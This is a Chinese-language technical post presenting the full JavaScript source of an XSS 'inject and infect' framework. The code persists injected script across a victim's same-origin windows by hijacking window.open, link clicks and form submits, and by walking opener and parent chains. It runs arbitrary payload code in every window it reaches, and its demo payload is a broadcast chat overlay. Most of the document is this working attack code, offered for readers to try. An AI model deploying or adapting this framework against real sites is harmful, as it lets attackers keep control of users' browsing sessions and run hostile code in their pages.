XSS代码注入框架
首先需要了解一下几点:
1.浏览器中Javascript变量的生命周期
Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。
2.window对象下方法会在在窗口被关闭时清掉,比如:
window.setTimeout(function(){ alert('Hello') },5000)
如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。
3.window.opener可以获取打开当前页面的窗口
4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]
5.跨域的窗口无法操作,尝试修改document.domain直接异常
6.所有代码测试于Chrome浏览器,未测试其他浏览器
下面是代码实现,点击按钮可以立即体验:
/** * Created by AepKill on 2015-7-1 10:53:17 * XSS Inject & Infection */ var XSS=(function(){ var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0'; var TOOL={ extend:function(){ if (arguments.length<=0) return {}; var result={}; for(var i= 0,l=arguments.length;i<l;i++){ for (var j in arguments[i]){ result[j]=arguments[i][j]; } } return result; }, //RunCode injectCode:function(win,code,args,self){ if (! win.window === win){ return false; } try { win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]); } catch(e){ } return true; }, dispatchMessage:function(winList,args){ winList.getWinList().forEach(function(distWin){ try{ var message=distWin[MODULE_NAME]['Message']; message.dispatch.apply(message,Array.prototype.slice.call(args)); }catch(e){ } }) }, sysDispatchMessage:function(winList,args){ } }; /*Message*/ function Message(){ //消息 var messageList={}; //消息订阅 this.subscription=function(msg){ if (messageList[msg] === undefined ){ messageList[msg]=new Array(); } Array.prototype.slice.call(arguments,1).forEach(function(e){ if (typeof e == "function") messageList[msg].push(e); }); }; //消息退订 this.unsubscribe=function(msg){ var msglist=messageList[msg]; Array.prototype.slice.call(arguments,1).forEach(function(e){ for (var i=0;i<msglist.length;i++){ if (msglist[i]==e){ msglist.splice(i,1); i--; } } }); }; //消息派送 this.dispatch=function(msg){ var args=Array.prototype.slice.call(arguments,1); if (messageList[msg]){ messageList[msg].forEach(function(e){ e.apply(null,args); }) } } } /*End With Message*/ /*WinList*/ function CreateWinList(winList){ function WinList(winList){ var winList=winList.concat(); this.deleteWindow=function(win){ for (var i= 0,l=winList.length;i<l;i++){ if (win===winList[i]){ winList.splice(i,1); break; } } }; this.hasWindow=function(win){ return winList.indexOf(win)!==-1; }; this.addWindow=function(win){ if (this.hasWindow(win)) return ; winList.push(win); } this.getWinList=function(){ return winList.concat(); }; this.isEmpty=function(){ return winList.length===0; }; this.clearCloseWindow=function(){ winList.forEach(function(e,i){ if (e.closed){ winList.splice(i,1); } }) } } WinList.prototype=new Message(); return Object.freeze(new WinList(winList)); } /*End With WinList*/ /*CoreModule*/ function CoreModule(opt,winList,message,TOOL,globalObj){ var window=this; var _open=window.open; var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0'; window[MODULE_NAME]={}; var module=window[MODULE_NAME]; module['Message']=message; if (module['RunCode'] === undefined) module['RunCode']=false; window.open=function(){ var win=_open.apply(this,arguments); if (win){ winList.dispatch('windowJoin',win); window['openWin']=win; }; return win; }; function afterLoad(){ module['RunCode']=true; TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt); window.document.addEventListener('click',function(e){ var el= e.target; do{ if (el.tagName == 'A'){ e.preventDefault(); e.stopPropagation(); window.open(el.href); break; } el=el.parentNode; }while(el!=document) }); window.document.addEventListener('submit', function(e){ var name = Math.random().toString(); open('', name); var form = e.target; form.target = name; }); window.addEventListener("unload", function( event ) { winList.dispatch('windowQuit',window,event); }); }; window.addEventListener('DOMContentLoaded',function(){ if (module['RunCode']===false) afterLoad(); }); setTimeout(function(){ if (module['RunCode']===false) afterLoad(); },1000); } /*End With CoreModule*/ var defaults={ runCode:function(winList,win,message,global){ /* * winList 当前所有感染窗口的列表 * win 执行代码环境的window对象 * message 消息队列 可订阅、发送消息 * global 全局对象 * 说明:runCode在每个窗口都会执行一次 * */ console.log('汪汪汪------'); } } return function(opt){ var winList=CreateWinList([]); opt=TOOL.extend(defaults,opt||{}); var globalObj=Object.freeze({ dispatch:function(){ TOOL.dispatchMessage(winList,arguments); }, getWinList:function(){ return winList.getWinList(); }, data:{ } }); winList.subscription('windowJoin',function(win){ if (!win.window || win.closed) return ; winList.clearCloseWindow(); var message=new Message(); TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win); globalObj.dispatch('windowJoin',win); winList.addWindow(win); //console.log('JOIN',winList.getWinList().length); }); winList.subscription('windowQuit',function(win,event){ winList.clearCloseWindow(); if (winList.hasWindow(win)){ winList.deleteWindow(win); }else{ return; } globalObj.dispatch('windowQuit',win); if (!winList.isEmpty()){ var hero=winList.getWinList()[0]; TOOL.injectCode(hero,function(winList,win){ setTimeout(function(){ winList.dispatch('windowJoin',win); },500); },[winList,win]); } }); //从iframe中往上遍历 if (window.top != window.self){ var win = window; while (win = win.parent) { } winList.dispatch('windowJoin',win); }else{ winList.dispatch('windowJoin',window); } //遍历打开的窗口 var temp1=window.opener; while(temp1){ winList.dispatch('windowJoin',temp1); temp1=temp1.opener; }; }; })(); XSS({ runCode:function(winList,win,message,global) { var window=win; function code() { var strVar = ""; strVar += ""; strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>"; strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">"; strVar += ""; strVar += " <\/p>"; strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">"; strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>"; strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>"; strVar += " <\/form>"; var css = ""; css += "position:fixed;"; css += "z-index:99999999;"; css += "left:50%;"; css += "top:50%;"; css += "height50%;"; css += "margin-left:-300px;"; css += "margin-top:-225px;"; css += "height: 450px;"; css += "width: 600px;"; css += "border-radius: 10px;"; css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);"; css += "background:rgba(88,88,88,0.8) "; var div=document.createElement('div'); div.style.cssText=css; div.innerHTML=strVar; document.body.appendChild(div); var text=document.querySelector('#showBox'); function appendText(txt){ text.innerHTML+=txt+'<br/>'; } document.querySelector('#form1').onsubmit=function(e){ appendText('我说:'+this['content'].value) global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value); e.stopPropagation(); e.preventDefault(); return false; } appendText('['+document.title+'] 页面被注入了代码'); message.subscription('Say',function(win,message){ if (win!==window) appendText(message); }); message.subscription('windowJoin',function(win){ appendText('['+win.document.title+'] 页面被注入了代码'); }); message.subscription('windowQuit',function(win){ appendText('['+win.document.title+'] 页面被关闭了'); }); var imgList=window.document.querySelectorAll('img'); var count=0; var timer=window.setInterval(function(){ appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' ) global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' ); if (count>=imgList){ clearInterval(timer); } },2000); } if (document.body) { code(); } else { window.addEventListener('DOMContentLoaded', code); } } });